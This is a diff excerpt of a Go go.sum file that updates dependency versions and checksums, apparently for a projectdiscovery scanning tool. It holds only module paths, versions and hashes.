github.com/mholt/acmez v1.2.0/go.mod h1:VT9YwH1xgNX1kmYY89gY8xPJC84BFAisjo8Egigt4kE=
github.com/mholt/archiver/v3 v3.5.1 h1:rDjOBX9JSF5BvoJGvjqK479aL70qh9DIpZCl+k7Clwo=
github.com/mholt/archiver/v3 v3.5.1/go.mod h1:e3dqJ7H78uzsRSEACH1joayhuSyhnonssnDhppzS1L4=
github.com/mholt/archives v0.1.0 h1:FacgJyrjiuyomTuNA92X5GyRBRZjE43Y/lrzKIlF35Q=
github.com/mholt/archives v0.1.0/go.mod h1:j/Ire/jm42GN7h90F5kzj6hf6ZFzEH66de+hmjEKu+I=
github.com/microcosm-cc/bluemonday v1.0.27 h1:MpEUotklkwCSLeH+Qdx1VJgNqLlpY2KXwXFM08ygZfk=
@@ -788,6 +798,9 @@ github.com/nats-io/nats.go v1.9.1/go.mod h1:ZjDU1L/7fJ09jvUSRVBR2e7+RnLiiIQyqyzE
github.com/nats-io/nkeys v0.1.0/go.mod h1:xpnFELMwJABBLVhffcfd1MZx6VsNRFpEugbxziKVo7w=
github.com/nats-io/nkeys v0.1.3/go.mod h1:xpnFELMwJABBLVhffcfd1MZx6VsNRFpEugbxziKVo7w=
github.com/nats-io/nuid v1.0.1/go.mod h1:19wcPz3Ph3q0Jbyiqsd0kePYG7A95tJPxeL+1OSON2c=
github.com/nwaples/rardecode v1.1.0/go.mod h1:5DzqNKiOdpKKBH87u8VlvAnPZMXcGRhxWkRpHbbfGS0=
github.com/nwaples/rardecode v1.1.3 h1:cWCaZwfM5H7nAD6PyEdcVnczzV8i/JtotnyW/dD9lEc=
github.com/nwaples/rardecode v1.1.3/go.mod h1:5DzqNKiOdpKKBH87u8VlvAnPZMXcGRhxWkRpHbbfGS0=
github.com/nwaples/rardecode/v2 v2.0.1 h1:3MN6/R+Y4c7e+21U3yhWuUcf72sYmcmr6jtiuAVSH1A=
github.com/nwaples/rardecode/v2 v2.0.1/go.mod h1:yntwv/HfMc/Hbvtq9I19D1n58te3h6KsqCf3GxyfBGY=
github.com/nxadm/tail v1.4.11 h1:8feyoE3OzPrcshW5/MJ4sGESc5cqmGkGCWlco4l0bqY=
@@ -832,6 +845,7 @@ github.com/perimeterx/marshmallow v1.1.5 h1:a2LALqQ1BlHM8PZblsDdidgv1mWi1DgC2UmX
github.com/perimeterx/marshmallow v1.1.5/go.mod h1:dsXbUu8CRzfYP5a87xpp0xq9S3u0Vchtcl8we9tYaXw=
github.com/pierrec/lz4 v1.0.2-0.20190131084431-473cd7ce01a1/go.mod h1:3/3N9NVKO0jef7pBehbT1qWhCMrIgbYNnFAZCqQ5LRc=
github.com/pierrec/lz4 v2.0.5+incompatible/go.mod h1:pdkljMzZIN41W+lC3N2tnIh5sFi+IEE17M5jbnwPHcY=
github.com/pierrec/lz4/v4 v4.1.2/go.mod h1:gZWDp/Ze/IJXGXf23ltt2EXimqmTUXEy0GFuRQyBid4=
github.com/pierrec/lz4/v4 v4.1.22 h1:cKFw6uJDK+/gfw5BcDL0JL5aBsAFdsIT18eRtLj7VIU=
github.com/pierrec/lz4/v4 v4.1.22/go.mod h1:gZWDp/Ze/IJXGXf23ltt2EXimqmTUXEy0GFuRQyBid4=
github.com/pjbgf/sha1cd v0.3.0 h1:4D5XXmUUBUl/xQ6IjCkEAbqXskkq/4O7LmGn0AqMDs4=
@@ -854,36 +868,34 @@ github.com/projectdiscovery/asnmap v1.1.1 h1:ImJiKIaACOT7HPx4Pabb5dksolzaFYsD1kI
github.com/projectdiscovery/asnmap v1.1.1/go.mod h1:QT7jt9nQanj+Ucjr9BqGr1Q2veCCKSAVyUzLXfEcQ60=
github.com/projectdiscovery/blackrock v0.0.1 h1:lHQqhaaEFjgf5WkuItbpeCZv2DUIE45k0VbGJyft6LQ=
github.com/projectdiscovery/blackrock v0.0.1/go.mod h1:ANUtjDfaVrqB453bzToU+YB4cUbvBRpLvEwoWIwlTss=
github.com/projectdiscovery/cdncheck v1.1.17 h1:YSqKk05+UGSxmPIp7tlCvRegF63FUqO+mA2Wl/Je3gA=
github.com/projectdiscovery/cdncheck v1.1.17/go.mod h1:dFEGsG0qAJY0AaRr2N1BY0OtZiTxS4kYeT5+OkF8t1U=
github.com/projectdiscovery/cdncheck v1.1.0 h1:qDITidmJsejzpk3rMkauCh6sjI2GH9hW/snk0cQ3kXE=
github.com/projectdiscovery/cdncheck v1.1.0/go.mod h1:sZ8U4MjHSsyaTVjBbYWHT1cwUVvUYwDX1W+WvWRicIc=
github.com/projectdiscovery/clistats v0.1.1 h1:8mwbdbwTU4aT88TJvwIzTpiNeow3XnAB72JIg66c8wE=
github.com/projectdiscovery/clistats v0.1.1/go.mod h1:4LtTC9Oy//RiuT1+76MfTg8Hqs7FQp1JIGBM3nHK6a0=
github.com/projectdiscovery/dsl v0.4.2 h1:9PnD6EyDAZFvpQmJ0700gkQ96Fqlzl+lnTdcVHAagXI=
github.com/projectdiscovery/dsl v0.4.2/go.mod h1:J1RizRF6O3lvk2v8p/tLAYqaxWg6N52OWc+uS5ZmO2U=
github.com/projectdiscovery/dsl v0.4.3 h1:ZrbRkyK38hRiYMX7s6ohaTorDpq321ErqJuBUDmh49g=
github.com/projectdiscovery/dsl v0.4.3/go.mod h1:cyt2IaYhS5SlyZ1D2BdK0QwIBXQW/u9zaBmRAKYKAmk=
github.com/projectdiscovery/fastdialer v0.4.0 h1:licZKyq+Shd5lLDb8uPd60Jp43K4NFE8cr67XD2eg7w=
github.com/projectdiscovery/fastdialer v0.4.0/go.mod h1:Q0YLArvpx9GAfY/NcTPMCA9qZuVOGnuVoNYWzKBwxdQ=
github.com/projectdiscovery/dsl v0.3.13 h1:3/2Cd7bl5qS3bpVIKK4Qns2f8/XKPlj82SsztHplHg0=
github.com/projectdiscovery/dsl v0.3.13/go.mod h1:nWkkkfreA+P0nc0O9lalqu5lieIirSYNAD4W9daKd+U=
github.com/projectdiscovery/fastdialer v0.3.0 h1:/wMptjdsrAU/wiaA/U3lSgYGaYCGJH6xm0mLei6oMxk=
github.com/projectdiscovery/fastdialer v0.3.0/go.mod h1:Q0YLArvpx9GAfY/NcTPMCA9qZuVOGnuVoNYWzKBwxdQ=
github.com/projectdiscovery/fasttemplate v0.0.2 h1:h2cISk5xDhlJEinlBQS6RRx0vOlOirB2y3Yu4PJzpiA=
github.com/projectdiscovery/fasttemplate v0.0.2/go.mod h1:XYWWVMxnItd+r0GbjA1GCsUopMw1/XusuQxdyAIHMCw=
github.com/projectdiscovery/freeport v0.0.7 h1:Q6uXo/j8SaV/GlAHkEYQi8WQoPXyJWxyspx+aFmz9Qk=
github.com/projectdiscovery/freeport v0.0.7/go.mod h1:cOhWKvNBe9xM6dFJ3RrrLvJ5vXx2NQ36SecuwjenV2k=
github.com/projectdiscovery/go-smb2 v0.0.0-20240129202741-052cc450c6cb h1:rutG906Drtbpz4DwU5mhGIeOhRcktDH4cGQitGUMAsg=
github.com/projectdiscovery/go-smb2 v0.0.0-20240129202741-052cc450c6cb/go.mod h1:FLjF1DmZ+POoGEiIQdWuYVwS++C/GwpX8YaCsTSm1RY=
github.com/projectdiscovery/goflags v0.1.74 h1:n85uTRj5qMosm0PFBfsvOL24I7TdWRcWq/1GynhXS7c=
github.com/projectdiscovery/goflags v0.1.74/go.mod h1:UMc9/7dFz2oln+10tv6cy+7WZKTHf9UGhaNkF95emh4=
github.com/projectdiscovery/gologger v1.1.54 h1:WMzvJ8j/4gGfPKpCttSTaYCVDU1MWQSJnk3wU8/U6Ws=
github.com/projectdiscovery/gologger v1.1.54/go.mod h1:vza/8pe2OKOt+ujFWncngknad1XWr8EnLKlbcejOyUE=
github.com/projectdiscovery/goflags v0.1.69 h1:F9ANzRhVOlj+0/yS8xEKJ1TCXtcb/nXxVJPJylZYUXg=
github.com/projectdiscovery/goflags v0.1.69/go.mod h1:bKs3HhVh6woQfSFK6bFv2qydi1tx5UQ3nAQv9mYh2v4=
github.com/projectdiscovery/gologger v1.1.42 h1:wTF52VEhJCtZk9GDNrlnAYBrqfm5FqXv/FImkNfdOSE=
github.com/projectdiscovery/gologger v1.1.42/go.mod h1:hf6vcNeKgj+BHfWQpMV4UBsfE8d+9wauWvcI31ZwuXs=
github.com/projectdiscovery/gostruct v0.0.2 h1:s8gP8ApugGM4go1pA+sVlPDXaWqNP5BBDDSv7VEdG1M=
github.com/projectdiscovery/gostruct v0.0.2/go.mod h1:H86peL4HKwMXcQQtEa6lmC8FuD9XFt6gkNR0B/Mu5PE=
github.com/projectdiscovery/gozero v0.0.3 h1:tsYkrSvWw4WdIUJyisd4MB1vRiw1X57TuVVk3p8Z3G8=
github.com/projectdiscovery/gozero v0.0.3/go.mod h1:MpJ37Dsh94gy2EKqaemdeh+CzduGVB2SDfhr6Upsjew=
github.com/projectdiscovery/hmap v0.0.88 h1:ygPNJOmw8Bc0Pu1+fa/foNBatSuSTwsUQLA8xBiCayI=
github.com/projectdiscovery/hmap v0.0.88/go.mod h1:ZrAtCoXdrYsYdlk/XslYFyuiDHkohmsQhvaLlN9cRRY=
github.com/projectdiscovery/httpx v1.7.0 h1:s7ZgF2ZAt9pQYkBuY5F6SjyNYbYrl7eiIzOm/6hBZ/E=
github.com/projectdiscovery/httpx v1.7.0/go.mod h1:D0HLzSy+/G6w01FtRORGyfwVwWlUPAFIc8wyEj/lcVg=
github.com/projectdiscovery/interactsh v1.2.4 h1:WUSj+fxbcV53J64oIAhbYzCKD1w/IyenyRBhkI5jiqI=
github.com/projectdiscovery/interactsh v1.2.4/go.mod h1:E/IVNZ80/WKz8zTwGJWQygxIbhlRmuzZFsZwcGSZTdc=
github.com/projectdiscovery/hmap v0.0.77 h1:pI7pmW+CN19LAkMsSFKC0K1SK1+sonto2hwte/7eOaQ=
github.com/projectdiscovery/hmap v0.0.77/go.mod h1:LkV8r/enq9G9HnY2YzMpU4CCmFz3dstOlhmeaObVQfk=
github.com/projectdiscovery/httpx v1.6.9 h1:ihyFclesLjvQpiJpRIlAYeebapyIbOI/arDAvvy1ES8=
github.com/projectdiscovery/httpx v1.6.9/go.mod h1:zQtX5CtcDYXzIRWne1ztCVtqG0sXCnx84tFwfMHoB8Q=
github.com/projectdiscovery/interactsh v1.2.3 h1:5fWNJQy0+X0+7PoK9z3stxk58xZw3QwG+vXKLKs9tE8=
github.com/projectdiscovery/interactsh v1.2.3/go.mod h1:46zdU65jL3q6m4BCwacdsH7bsCtwFSmCACMvaq0pgL8=
github.com/projectdiscovery/ldapserver v1.0.2-0.20240219154113-dcc758ebc0cb h1:MGtI4oE12ruWv11ZlPXXd7hl/uAaQZrFvrIDYDeVMd8=
github.com/projectdiscovery/ldapserver v1.0.2-0.20240219154113-dcc758ebc0cb/go.mod h1:vmgC0DTFCfoCLp0RAfsfYTZZan0QMVs+cmTbH6blfjk=
github.com/projectdiscovery/machineid v0.0.0-20240226150047-2e2c51e35983 h1:ZScLodGSezQVwsQDtBSMFp72WDq0nNN+KE/5DHKY5QE=
@@ -892,34 +904,34 @@ github.com/projectdiscovery/mapcidr v1.1.34 h1:udr83vQ7oz3kEOwlsU6NC6o08leJzSDQt
github.com/projectdiscovery/mapcidr v1.1.34/go.mod h1:1+1R6OkKSAKtWDXE9RvxXtXPoajXTYX0eiEdkqlhQqQ=
github.com/projectdiscovery/n3iwf v0.0.0-20230523120440-b8cd232ff1f5 h1:L/e8z8yw1pfT6bg35NiN7yd1XKtJap5Nk6lMwQ0RNi8=
github.com/projectdiscovery/n3iwf v0.0.0-20230523120440-b8cd232ff1f5/go.mod h1:pGW2ncnTxTxHtP9wzcIJAB+3/NMp6IiuQWd2NK7K+oc=
github.com/projectdiscovery/networkpolicy v0.1.14 h1:XnwpGjF+h9xgwEIgrFG3G+7cGRPwh6FkxgQaLuw4rv4=
github.com/projectdiscovery/networkpolicy v0.1.14/go.mod h1:pat2rE4G7kbow8CQ/yOym0bdLPq8rj7ZZWn3/3OT4Rs=
github.com/projectdiscovery/ratelimit v0.0.80 h1:kDZ9Rgd/EiDR3fw8Ugtp4xVMaMZNzlEO8zCD4QholaE=
github.com/projectdiscovery/ratelimit v0.0.80/go.mod h1:UW6g3VZbX+wI6WLXsexWGpSYnaQ79Uv+VewRj2+pzXQ=
github.com/projectdiscovery/rawhttp v0.1.90 h1:LOSZ6PUH08tnKmWsIwvwv1Z/4zkiYKYOSZ6n+8RFKtw=
github.com/projectdiscovery/rawhttp v0.1.90/go.mod h1:VZYAM25UI/wVB3URZ95ZaftgOnsbphxyAw/XnQRRz4Y=
github.com/projectdiscovery/networkpolicy v0.1.2 h1:5ff6SM6H6tRgp4kzmq4+/T8F0S7lom+QdXeNsLx8Mb4=
github.com/projectdiscovery/networkpolicy v0.1.2/go.mod h1:lJ6Vlr5/CkJEusm/ZIWi/W6yS6sKnwrLuROpDfI2Z5Y=
github.com/projectdiscovery/ratelimit v0.0.70 h1:SxFQcIKO3hppmEn9MOaDiqX2NXceji0vd8ER+eCHQjc=
github.com/projectdiscovery/ratelimit v0.0.70/go.mod h1:jg253i7eeKBIV5QpTpQv6+lZXr53XmKGBLS3dwlmRWM=
github.com/projectdiscovery/rawhttp v0.1.84 h1:91ctBCABSR2dIMj+hoQz3E0EsmPDNv2YmsjMOwjyJnk=
github.com/projectdiscovery/rawhttp v0.1.84/go.mod h1:F3mb+qlkh/pI+CiaoddmMmgeD2TSPM7WUMcm9DU9KBY=
github.com/projectdiscovery/rdap v0.9.1-0.20221108103045-9865884d1917 h1:m03X4gBVSorSzvmm0bFa7gDV4QNSOWPL/fgZ4kTXBxk=
github.com/projectdiscovery/rdap v0.9.1-0.20221108103045-9865884d1917/go.mod h1:JxXtZC9e195awe7EynrcnBJmFoad/BNDzW9mzFkK8Sg=
github.com/projectdiscovery/retryabledns v1.0.99 h1:DJ6TewgkwqJozDOPXhoOy/cdtuzJzbIQ/BFfWNYzHpw=
github.com/projectdiscovery/retryabledns v1.0.99/go.mod h1:pkPYuqtxhX6z1pYL+O6s4Lg7ubINt2jg12gsaW9O3kY=
github.com/projectdiscovery/retryablehttp-go v1.0.111 h1:HzkVN0IyC0RfVylBlgNoqaQgVvuUEvbDEVbpGyD/Y9M=
github.com/projectdiscovery/retryablehttp-go v1.0.111/go.mod h1:Tl6noELU9RpjwywMDw722HB038QXohl90g2ZtKSqbCI=
github.com/projectdiscovery/retryabledns v1.0.94 h1:MvxtRcmvxhxikxT7p/E40hcYRWRiL5fg/JQ8bpBaz+0=
github.com/projectdiscovery/retryabledns v1.0.94/go.mod h1:croGTyMM4yNlrSWA/X7xNe3c0c7mDmCdbm8goLd8Bak=
github.com/projectdiscovery/retryablehttp-go v1.0.97 h1:6nee/vJjiZP3vOhyqLcpSADM3vqmcC2QOvaMIo+dKWQ=
github.com/projectdiscovery/retryablehttp-go v1.0.97/go.mod h1:ZvwB6IsIHf0YlovcEQufZ6OTluyWfxRd360SrKd9fPk=
github.com/projectdiscovery/sarif v0.0.1 h1:C2Tyj0SGOKbCLgHrx83vaE6YkzXEVrMXYRGLkKCr/us=
github.com/projectdiscovery/sarif v0.0.1/go.mod h1:cEYlDu8amcPf6b9dSakcz2nNnJsoz4aR6peERwV+wuQ=
github.com/projectdiscovery/stringsutil v0.0.2 h1:uzmw3IVLJSMW1kEg8eCStG/cGbYYZAja8BH3LqqJXMA=
github.com/projectdiscovery/stringsutil v0.0.2/go.mod h1:EJ3w6bC5fBYjVou6ryzodQq37D5c6qbAYQpGmAy+DC0=
github.com/projectdiscovery/tlsx v1.1.9 h1:DhErhHCO2+toF5DEX7qe3pkwrIrYlex3F/mzHEUiZHg=
github.com/projectdiscovery/tlsx v1.1.9/go.mod h1:Jy+r38WyYjapQWaffiKGdYm4Ksdrt8BWtsqA2rUospU=
github.com/projectdiscovery/uncover v1.0.10 h1:FdnBYgynGUtjIsW5WPIIhadR1Smcghik9cZSMEtILN4=
github.com/projectdiscovery/uncover v1.0.10/go.mod h1:l7QQ+mBc7bLK4tqYqPyo9nrYdz1K8vaGZWKYihkHmAs=
github.com/projectdiscovery/useragent v0.0.100 h1:gDZSgPQCP8D0XUny41Ch4urP+FK5OcM5TB1btwCg4Gk=
github.com/projectdiscovery/useragent v0.0.100/go.mod h1:8je9oUPzT5R+gjKQNEFurDSvX7fCnqW2iDGYdKMH6hY=
github.com/projectdiscovery/utils v0.4.19 h1:rWOOTWUMQK9gvgH01rrw0qFi0hrh712hM1pCUzapCqA=
github.com/projectdiscovery/utils v0.4.19/go.mod h1:y5gnpQn802iEWqf0djTRNskJlS62P5eqe1VS1+ah0tk=
github.com/projectdiscovery/wappalyzergo v0.2.28 h1:fd4xne6ndxJFSqJfSDAXmR3G87SZQdOYFTapHk4Ksh4=
github.com/projectdiscovery/wappalyzergo v0.2.28/go.mod h1:F8X79ljvmvrG+EIxdxWS9VbdkVTsQupHYz+kXlp8O0o=
github.com/projectdiscovery/yamldoc-go v1.0.6 h1:GCEdIRlQjDux28xTXKszM7n3jlMf152d5nqVpVoetas=
github.com/projectdiscovery/yamldoc-go v1.0.6/go.mod h1:R5lWrNzP+7Oyn77NDVPnBsxx2/FyQZBBkIAaSaCQFxw=
github.com/projectdiscovery/uncover v1.0.9 h1:s5RbkD/V4r8QcPkys4gTTqMuRSgXq0JprejqLSopN9Y=
github.com/projectdiscovery/uncover v1.0.9/go.mod h1:2PUF3SpB5QNIJ8epaB2xbRzkPaxEAWRDm3Ir2ijt81U=
github.com/projectdiscovery/useragent v0.0.89 h1:j/ryhBjScEAX4Ktfzdxea6hvxrL3OpsxBCEJ4o1D73g=
github.com/projectdiscovery/useragent v0.0.89/go.mod h1:ZAYEFo2ZhtCmeuj1hj0E/ZoMm8K91jJ3ct3qrHkbX1E=
github.com/projectdiscovery/utils v0.4.8 h1:/Xd38fP8xc6kifZayjrhcYALenJrjO3sHO7lg+I8ZGk=
github.com/projectdiscovery/utils v0.4.8/go.mod h1:S314NzLcXVCbLbwYCoorAJYcnZEwv7Uhw2d3aF5fJ4s=
github.com/projectdiscovery/wappalyzergo v0.2.13 h1:yrzmcT/Zq+H+qpbAjHKKFVVQA7uei+sAYlmS2HLpkGI=
github.com/projectdiscovery/wappalyzergo v0.2.13/go.mod h1:3vtvQCSYpU+Ilk0qy09WYT9BH0Stut5Qon7KJJ78GKw=
github.com/projectdiscovery/yamldoc-go v1.0.5 h1:On5D9F5Qe59Tek9SX05uSbjahiRTvDqUSIoG/gDuRd4=
github.com/projectdiscovery/yamldoc-go v1.0.5/go.mod h1:R5lWrNzP+7Oyn77NDVPnBsxx2/FyQZBBkIAaSaCQFxw=
github.com/prometheus/client_golang v0.9.1/go.mod h1:7SWBe2y4D6OKWSNQJUaRYU/AaXPKyh/dDVn+NZz0KFw=
github.com/prometheus/client_golang v0.9.3-0.20190127221311-3c4408c8b829/go.mod h1:p2iRAGwDERtqlqzRXnrOVns+ignqQo//hLXqYxZYVNs=
github.com/prometheus/client_golang v1.0.0/go.mod h1:db9x61etRT2tGnBNRi70OPL5FsnadC4Ky3P0J6CfImo=
@@ -968,16 +980,16 @@ github.com/rogpeppe/go-internal v1.3.0/go.mod h1:M8bDsm7K2OlrFYOpmOWEs/qY81heoFR
github.com/rogpeppe/go-internal v1.6.1/go.mod h1:xXDCJY+GAPziupqXw64V24skbSoqbTEfhy4qGm1nDQc=
github.com/rogpeppe/go-internal v1.12.0 h1:exVL4IDcn6na9z1rAb56Vxr+CgyK3nn3O+epU5NdKM8=
github.com/rogpeppe/go-internal v1.12.0/go.mod h1:E+RYuTGaKKdloAfM02xzb0FW3Paa99yedzYV+kq4uf4=
github.com/rs/xid v1.6.0 h1:fV591PaemRlL6JfRxGDEPl69wICngIQ3shQtzfy2gxU=
github.com/rs/xid v1.6.0/go.mod h1:7XoLgs4eV+QndskICGsho+ADou8ySMSjJKDIan90Nz0=
github.com/rs/xid v1.5.0 h1:mKX4bl4iPYJtEIxp6CYiUuLQ/8DYMoz0PUdtGgMFRVc=
github.com/rs/xid v1.5.0/go.mod h1:trrq9SKmegXys3aeAKXMUTdJsYXVwGY3RLcfgqegfbg=
github.com/russross/blackfriday/v2 v2.0.1/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM=
github.com/rwcarlsen/goexif v0.0.0-20190401172101-9e8deecbddbd/go.mod h1:hPqNNc0+uJM6H+SuU8sEs5K5IQeKccPqeSjfgcKGgPk=
github.com/ryanuber/columnize v0.0.0-20160712163229-9b3edd62028f/go.mod h1:sm1tb6uqfes/u+d4ooFouqFdy9/2g9QGwK3SQygK0Ts=
github.com/saintfish/chardet v0.0.0-20230101081208-5e3ef4b5456d h1:hrujxIzL1woJ7AwssoOcM/tq5JjjG2yYOc8odClEiXA=
github.com/saintfish/chardet v0.0.0-20230101081208-5e3ef4b5456d/go.mod h1:uugorj2VCxiV1x+LzaIdVa9b4S4qGAcH6cbhh4qVxOU=
github.com/samuel/go-zookeeper v0.0.0-20190923202752-2cc03de413da/go.mod h1:gi+0XIa01GRL2eRQVjQkKGqKF3SF9vZR/HnPullcV2E=
github.com/sashabaranov/go-openai v1.37.0 h1:hQQowgYm4OXJ1Z/wTrE+XZaO20BYsL0R3uRPSpfNZkY=
github.com/sashabaranov/go-openai v1.37.0/go.mod h1:lj5b/K+zjTSFxVLijLSTDZuP7adOgerWeFyZLUhAKRg=
github.com/sashabaranov/go-openai v1.15.3 h1:rzoNK9n+Cak+PM6OQ9puxDmFllxfnVea9StlmhglXqA=
github.com/sashabaranov/go-openai v1.15.3/go.mod h1:lj5b/K+zjTSFxVLijLSTDZuP7adOgerWeFyZLUhAKRg=
github.com/sean-/seed v0.0.0-20170313163322-e2103e2c3529/go.mod h1:DxrIzT+xaE7yg65j358z/aeFdxmN0P9QXhEzd20vsDc=
github.com/segmentio/ksuid v1.0.4 h1:sBo2BdShXjmcugAMwjugoGUdUV0pcxY5mW4xKRn3v4c=
github.com/segmentio/ksuid v1.0.4/go.mod h1:/XUiZBD3kVx5SmUOl55voK5yeAbBNNIed+2O73XgrPE=
@@ -1085,6 +1097,7 @@ github.com/twmb/murmur3 v1.1.6/go.mod h1:Qq/R7NUyOfr65zD+6Q5IHKsJLwP7exErjN6lyyq
github.com/ugorji/go/codec v1.2.11 h1:BMaWp1Bb6fHwEtbplGBGJ498wD+LKlNSl25MjdZY4dU=
github.com/ugorji/go/codec v1.2.11/go.mod h1:UNopzCgEMSXjBc6AOMqYvWC1ktqTAfzJZUZgYf6w6lg=
github.com/ulikunitz/xz v0.5.8/go.mod h1:nbz6k7qbPmH4IRqmfOplQw/tblSgqTqBwxkY0oWt/14=
github.com/ulikunitz/xz v0.5.9/go.mod h1:nbz6k7qbPmH4IRqmfOplQw/tblSgqTqBwxkY0oWt/14=
github.com/ulikunitz/xz v0.5.12 h1:37Nm15o69RwBkXM0J6A5OlE67RZTfzUxTj8fB3dfcsc=
github.com/ulikunitz/xz v0.5.12/go.mod h1:nbz6k7qbPmH4IRqmfOplQw/tblSgqTqBwxkY0oWt/14=
github.com/urfave/cli v1.20.0/go.mod h1:70zkFmudgCuE/ngEzBv17Jvp/497gISqfk5gWijbERA=
@@ -1096,9 +1109,8 @@ github.com/valyala/fasttemplate v1.2.2/go.mod h1:KHLXt3tVN2HBp8eijSv/kGJopbvo7S+
github.com/weppos/publicsuffix-go v0.12.0/go.mod h1:z3LCPQ38eedDQSwmsSRW4Y7t2L8Ln16JPQ02lHAdn5k=
github.com/weppos/publicsuffix-go v0.13.0/go.mod h1:z3LCPQ38eedDQSwmsSRW4Y7t2L8Ln16JPQ02lHAdn5k=
github.com/weppos/publicsuffix-go v0.30.0/go.mod h1:kBi8zwYnR0zrbm8RcuN1o9Fzgpnnn+btVN8uWPMyXAY=
github.com/weppos/publicsuffix-go v0.30.2 h1:Np18yzfMR90jNampWFs7iSh2sw/qCZkhL41/ffyihCU=
github.com/weppos/publicsuffix-go v0.30.2/go.mod h1:/hGscit36Yt+wammfBBwdMdxBT8btsTt6KvwO9OvMyM=
github.com/weppos/publicsuffix-go v0.40.2 h1:LlnoSH0Eqbsi3ReXZWBKCK5lHyzf3sc1JEHH1cnlfho=
github.com/weppos/publicsuffix-go v0.40.2/go.mod h1:XsLZnULC3EJ1Gvk9GVjuCTZ8QUu9ufE4TZpOizDShko=
github.com/weppos/publicsuffix-go/publicsuffix/generator v0.0.0-20220927085643-dc0d00c92642/go.mod h1:GHfoeIdZLdZmLjMlzBftbTDntahTttUMWjxZwQJhULE=
github.com/wk8/go-ordered-map/v2 v2.1.8 h1:5h/BUHu93oj4gIdvHHHGsScSTMijfx5PeYkE/fJgbpc=
github.com/wk8/go-ordered-map/v2 v2.1.8/go.mod h1:5nJHM5DyteebpVlHnWMV0rPz6Zp7+xBAnxjb1X5vnTw=
@@ -1120,6 +1132,8 @@ github.com/xeipuuv/gojsonreference v0.0.0-20180127040603-bd5ef7bd5415/go.mod h1:
github.com/xeipuuv/gojsonschema v1.2.0 h1:LhYJRs+L4fBtjZUfuSZIKGeVu0QRy8e5Xi7D17UxZ74=
github.com/xeipuuv/gojsonschema v1.2.0/go.mod h1:anYRn/JVcOK2ZgGU+IjEV4nwlhoK5sQluxsYJ78Id3Y=
github.com/xhit/go-str2duration v1.2.0/go.mod h1:3cPSlfZlUHVlneIVfePFWcJZsuwf+P1v2SRTV4cUmp4=
github.com/xi2/xz v0.0.0-20171230120015-48954b6210f8 h1:nIPpBwaJSVYIxUFsDv3M8ofmx9yWTog9BfvIu0q41lo=
github.com/xi2/xz v0.0.0-20171230120015-48954b6210f8/go.mod h1:HUYIGzjTL3rfEspMxjDjgmT5uz5wzYJKVo23qUhYTos=
github.com/xiang90/probing v0.0.0-20190116061207-43a291ad63a2/go.mod h1:UETIi67q53MR2AWcXfiuqkDkRtnGDLqkBTpCHuJHxtU=
github.com/xyproto/randomstring v1.0.5 h1:YtlWPoRdgMu3NZtP45drfy1GKoojuR7hmRcnhZqKjWU=
github.com/xyproto/randomstring v1.0.5/go.mod h1:rgmS5DeNXLivK7YprL0pY+lTuhNQW3iGxZ18UQApw/E=
@@ -1133,16 +1147,16 @@ github.com/ysmood/fetchup v0.2.3 h1:ulX+SonA0Vma5zUFXtv52Kzip/xe7aj4vqT5AJwQ+ZQ=
github.com/ysmood/fetchup v0.2.3/go.mod h1:xhibcRKziSvol0H1/pj33dnKrYyI2ebIvz5cOOkYGns=
github.com/ysmood/goob v0.4.0 h1:HsxXhyLBeGzWXnqVKtmT9qM7EuVs/XOgkX7T6r1o1AQ=
github.com/ysmood/goob v0.4.0/go.mod h1:u6yx7ZhS4Exf2MwciFr6nIM8knHQIE22lFpWHnfql18=
github.com/ysmood/gop v0.2.0 h1:+tFrG0TWPxT6p9ZaZs+VY+opCvHU8/3Fk6BaNv6kqKg=
github.com/ysmood/gop v0.2.0/go.mod h1:rr5z2z27oGEbyB787hpEcx4ab8cCiPnKxn0SUHt6xzk=
github.com/ysmood/got v0.40.0 h1:ZQk1B55zIvS7zflRrkGfPDrPG3d7+JOza1ZkNxcc74Q=
github.com/ysmood/got v0.40.0/go.mod h1:W7DdpuX6skL3NszLmAsC5hT7JAhuLZhByVzHTq874Qg=
github.com/ysmood/gop v0.0.2 h1:VuWweTmXK+zedLqYufJdh3PlxDNBOfFHjIZlPT2T5nw=
github.com/ysmood/gop v0.0.2/go.mod h1:rr5z2z27oGEbyB787hpEcx4ab8cCiPnKxn0SUHt6xzk=
github.com/ysmood/got v0.34.1 h1:IrV2uWLs45VXNvZqhJ6g2nIhY+pgIG1CUoOcqfXFl1s=
github.com/ysmood/got v0.34.1/go.mod h1:yddyjq/PmAf08RMLSwDjPyCvHvYed+WjHnQxpH851LM=
github.com/ysmood/gotrace v0.6.0 h1:SyI1d4jclswLhg7SWTL6os3L1WOKeNn/ZtzVQF8QmdY=
github.com/ysmood/gotrace v0.6.0/go.mod h1:TzhIG7nHDry5//eYZDYcTzuJLYQIkykJzCRIo4/dzQM=
github.com/ysmood/gson v0.7.3 h1:QFkWbTH8MxyUTKPkVWAENJhxqdBa4lYTQWqZCiLG6kE=
github.com/ysmood/gson v0.7.3/go.mod h1:3Kzs5zDl21g5F/BlLTNcuAGAYLKt2lV5G8D1zF3RNmg=
github.com/ysmood/leakless v0.9.0 h1:qxCG5VirSBvmi3uynXFkcnLMzkphdh3xx5FtrORwDCU=
github.com/ysmood/leakless v0.9.0/go.mod h1:R8iAXPRaG97QJwqxs74RdwzcRHT1SWCGTNqY8q0JvMQ=
github.com/ysmood/leakless v0.8.0 h1:BzLrVoiwxikpgEQR0Lk8NyBN5Cit2b1z+u0mgL4ZJak=
github.com/ysmood/leakless v0.8.0/go.mod h1:R8iAXPRaG97QJwqxs74RdwzcRHT1SWCGTNqY8q0JvMQ=
github.com/yuin/goldmark v1.1.25/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
github.com/yuin/goldmark v1.1.27/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
github.com/yuin/goldmark v1.1.32/go.mod h1:3hX8gzYuyVAZsxl0MRgGTJEmQBFcNTphYh9decYSb74=
@@ -1229,14 +1243,11 @@ golang.org/x/crypto v0.0.0-20220525230936-793ad666bf5e/go.mod h1:IxCIyHEi3zRg3s0
golang.org/x/crypto v0.0.0-20220622213112-05595931fe9d/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4=
golang.org/x/crypto v0.6.0/go.mod h1:OFC/31mSvZgRz0V1QTNCzfAI1aIRzbiufJtkMIlEp58=
golang.org/x/crypto v0.7.0/go.mod h1:pYwdfH91IfpZVANVyUOhSIPZaFoJGxTFbZhFTx+dXZU=
